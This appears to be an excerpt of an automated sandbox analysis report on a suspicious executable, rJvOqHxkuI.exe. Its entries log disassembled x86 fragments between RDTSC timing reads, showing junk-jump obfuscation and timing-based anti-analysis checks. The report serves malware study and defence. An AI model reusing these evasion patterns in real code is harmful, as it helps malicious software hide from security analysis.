Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6082D second address: 6F60831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60831 second address: 6F60870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [esi+30h], ax 0x0000000c pushad 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 jmp 00007F3808D550FFh 0x00000016 popad 0x00000017 mov ax, word ptr [ebx+00000088h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3808D55105h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60870 second address: 6F608C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+32h], ax 0x0000000d jmp 00007F3808C1865Eh 0x00000012 mov eax, dword ptr [ebx+0000008Ch] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007F3808C1865Dh 0x00000020 pop ecx 0x00000021 jmp 00007F3808C18661h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F608C0 second address: 6F60931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 jmp 00007F3808D55103h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+34h], eax 0x00000010 jmp 00007F3808D55106h 0x00000015 mov eax, dword ptr [ebx+18h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ebx, 7DDE2950h 0x00000020 pushfd 0x00000021 jmp 00007F3808D55109h 0x00000026 add ax, 71D6h 0x0000002b jmp 00007F3808D55101h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60931 second address: 6F60958 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+38h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3808C1865Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60958 second address: 6F60975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60975 second address: 6F6097C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6097C second address: 6F6099A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55102h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+3Ch], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6099A second address: 6F609A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F609A0 second address: 6F609A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F609A5 second address: 6F609E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3808C18664h 0x00000008 call 00007F3808C18662h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [ebx+20h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3808C1865Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F609E3 second address: 6F609E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F609E8 second address: 6F60A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esi+40h], eax 0x0000000d pushad 0x0000000e call 00007F3808C18664h 0x00000013 pushfd 0x00000014 jmp 00007F3808C18662h 0x00000019 sbb cl, 00000008h 0x0000001c jmp 00007F3808C1865Bh 0x00000021 popfd 0x00000022 pop ecx 0x00000023 mov edx, 4104D94Ch 0x00000028 popad 0x00000029 lea eax, dword ptr [ebx+00000080h] 0x0000002f jmp 00007F3808C1865Bh 0x00000034 push 00000001h 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60A4A second address: 6F60A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60A50 second address: 6F60A5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60A5F second address: 6F60A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60A63 second address: 6F60A69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60A69 second address: 6F60A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808D550FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60A78 second address: 6F60A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60B88 second address: 6F60BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [ebp-0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3808D550FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60BA2 second address: 6F60BA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60BA8 second address: 6F60BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60BAC second address: 6F60BDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3808C18665h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60BDF second address: 6F60C20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+78h] 0x0000000c jmp 00007F3808D550FEh 0x00000011 push 00000001h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3808D55107h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60C20 second address: 6F60C38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808C18664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60C38 second address: 6F60C56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3808D55103h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60DE4 second address: 6F60E01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60E01 second address: 6F60E06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60E06 second address: 6F60E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808C1865Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea eax, dword ptr [ebx+70h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3808C1865Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60E2C second address: 6F60E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808D550FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60E3C second address: 6F60E63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3808C18669h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60E63 second address: 6F60E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60E67 second address: 6F60E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60E6D second address: 6F60EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F3808D55100h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3808D550FDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60EA0 second address: 6F60EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60EA6 second address: 6F60EF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 pushfd 0x00000006 jmp 00007F3808D55106h 0x0000000b jmp 00007F3808D55105h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 nop 0x00000015 jmp 00007F3808D550FEh 0x0000001a lea eax, dword ptr [ebp-18h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60EF3 second address: 6F60EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60EF7 second address: 6F60EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60EFB second address: 6F60F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F60FA2 second address: 6F61091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 10D2h 0x00000007 mov esi, edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov edi, eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F3808D550FBh 0x00000015 sub si, 14CEh 0x0000001a jmp 00007F3808D55109h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F3808D55100h 0x00000026 add ax, 6D48h 0x0000002b jmp 00007F3808D550FBh 0x00000030 popfd 0x00000031 popad 0x00000032 test edi, edi 0x00000034 jmp 00007F3808D55106h 0x00000039 js 00007F38792D378Eh 0x0000003f pushad 0x00000040 pushad 0x00000041 jmp 00007F3808D550FCh 0x00000046 pushfd 0x00000047 jmp 00007F3808D55102h 0x0000004c xor al, 00000008h 0x0000004f jmp 00007F3808D550FBh 0x00000054 popfd 0x00000055 popad 0x00000056 pushfd 0x00000057 jmp 00007F3808D55108h 0x0000005c or cx, C468h 0x00000061 jmp 00007F3808D550FBh 0x00000066 popfd 0x00000067 popad 0x00000068 mov eax, dword ptr [ebp-14h] 0x0000006b pushad 0x0000006c mov ax, 7D7Bh 0x00000070 mov cx, 7657h 0x00000074 popad 0x00000075 mov ecx, esi 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a mov ecx, 4A0B5361h 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61091 second address: 6F610FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+0Ch], eax 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 pushfd 0x00000011 jmp 00007F3808C18661h 0x00000016 sbb ch, FFFFFF96h 0x00000019 jmp 00007F3808C18661h 0x0000001e popfd 0x0000001f popad 0x00000020 mov edx, 775606ECh 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F3808C18668h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F610FC second address: 6F61102 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61102 second address: 6F61108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61108 second address: 6F61145 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55108h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub eax, eax 0x0000000d jmp 00007F3808D55101h 0x00000012 lock cmpxchg dword ptr [edx], ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61145 second address: 6F61176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a jmp 00007F3808C18660h 0x0000000f test eax, eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61176 second address: 6F6117C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6117C second address: 6F611FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F3879196B9Eh 0x0000000f pushad 0x00000010 mov edi, eax 0x00000012 pushfd 0x00000013 jmp 00007F3808C1865Ah 0x00000018 adc cx, AA98h 0x0000001d jmp 00007F3808C1865Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov edx, dword ptr [ebp+08h] 0x00000027 pushad 0x00000028 mov ecx, 11537A6Bh 0x0000002d pushfd 0x0000002e jmp 00007F3808C18660h 0x00000033 jmp 00007F3808C18665h 0x00000038 popfd 0x00000039 popad 0x0000003a mov eax, dword ptr [esi] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F3808C1865Dh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F611FC second address: 6F6123B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx], eax 0x0000000b pushad 0x0000000c jmp 00007F3808D550FCh 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 mov ebx, eax 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [esi+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3808D550FFh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6123B second address: 6F61241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61241 second address: 6F61245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61245 second address: 6F61293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C1865Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F3808C1865Bh 0x00000016 pushfd 0x00000017 jmp 00007F3808C18668h 0x0000001c sbb ecx, 2394D5A8h 0x00000022 jmp 00007F3808C1865Bh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61293 second address: 6F612C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3808D550FFh 0x00000009 and ecx, 20BAF2EEh 0x0000000f jmp 00007F3808D55109h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F612C8 second address: 6F612E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esi+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3808C18663h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F612E7 second address: 6F61324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 3DAA470Ah 0x00000008 push ebx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+08h], eax 0x00000010 pushad 0x00000011 mov ecx, ebx 0x00000013 jmp 00007F3808D550FFh 0x00000018 popad 0x00000019 mov eax, dword ptr [esi+0Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3808D55105h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61324 second address: 6F6139B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3808C18667h 0x00000008 pop eax 0x00000009 mov edx, 1C2DF79Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [edx+0Ch], eax 0x00000014 jmp 00007F3808C1865Bh 0x00000019 mov eax, dword ptr [esi+10h] 0x0000001c pushad 0x0000001d pushad 0x0000001e movzx esi, di 0x00000021 jmp 00007F3808C18667h 0x00000026 popad 0x00000027 popad 0x00000028 mov dword ptr [edx+10h], eax 0x0000002b jmp 00007F3808C18665h 0x00000030 mov eax, dword ptr [esi+14h] 0x00000033 pushad 0x00000034 popad 0x00000035 mov dword ptr [edx+14h], eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6139B second address: 6F613A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F613A2 second address: 6F613BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808C18669h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F613BF second address: 6F61403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55101h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+18h] 0x0000000e jmp 00007F3808D550FEh 0x00000013 mov dword ptr [edx+18h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3808D55107h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61515 second address: 6F6151B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6151B second address: 6F6151F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6151F second address: 6F61523 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61523 second address: 6F61538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+28h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, cx 0x00000011 mov di, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61538 second address: 6F615B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 69h 0x00000005 pushfd 0x00000006 jmp 00007F3808C18668h 0x0000000b sbb ax, E2C8h 0x00000010 jmp 00007F3808C1865Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [edx+28h], eax 0x0000001c jmp 00007F3808C18666h 0x00000021 mov ecx, dword ptr [esi+2Ch] 0x00000024 jmp 00007F3808C18660h 0x00000029 mov dword ptr [edx+2Ch], ecx 0x0000002c jmp 00007F3808C18660h 0x00000031 mov ax, word ptr [esi+30h] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F615B3 second address: 6F615B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F615B7 second address: 6F615BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F615BD second address: 6F615DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 jmp 00007F3808D550FEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov word ptr [edx+30h], ax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F615DC second address: 6F61614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3808C18663h 0x0000000a or si, 692Eh 0x0000000f jmp 00007F3808C18669h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F61614 second address: 6F6161A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6161A second address: 6F6161E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 6F6161E second address: 6F61632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+32h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ebx, 580A6966h 0x00000014 rdtsc
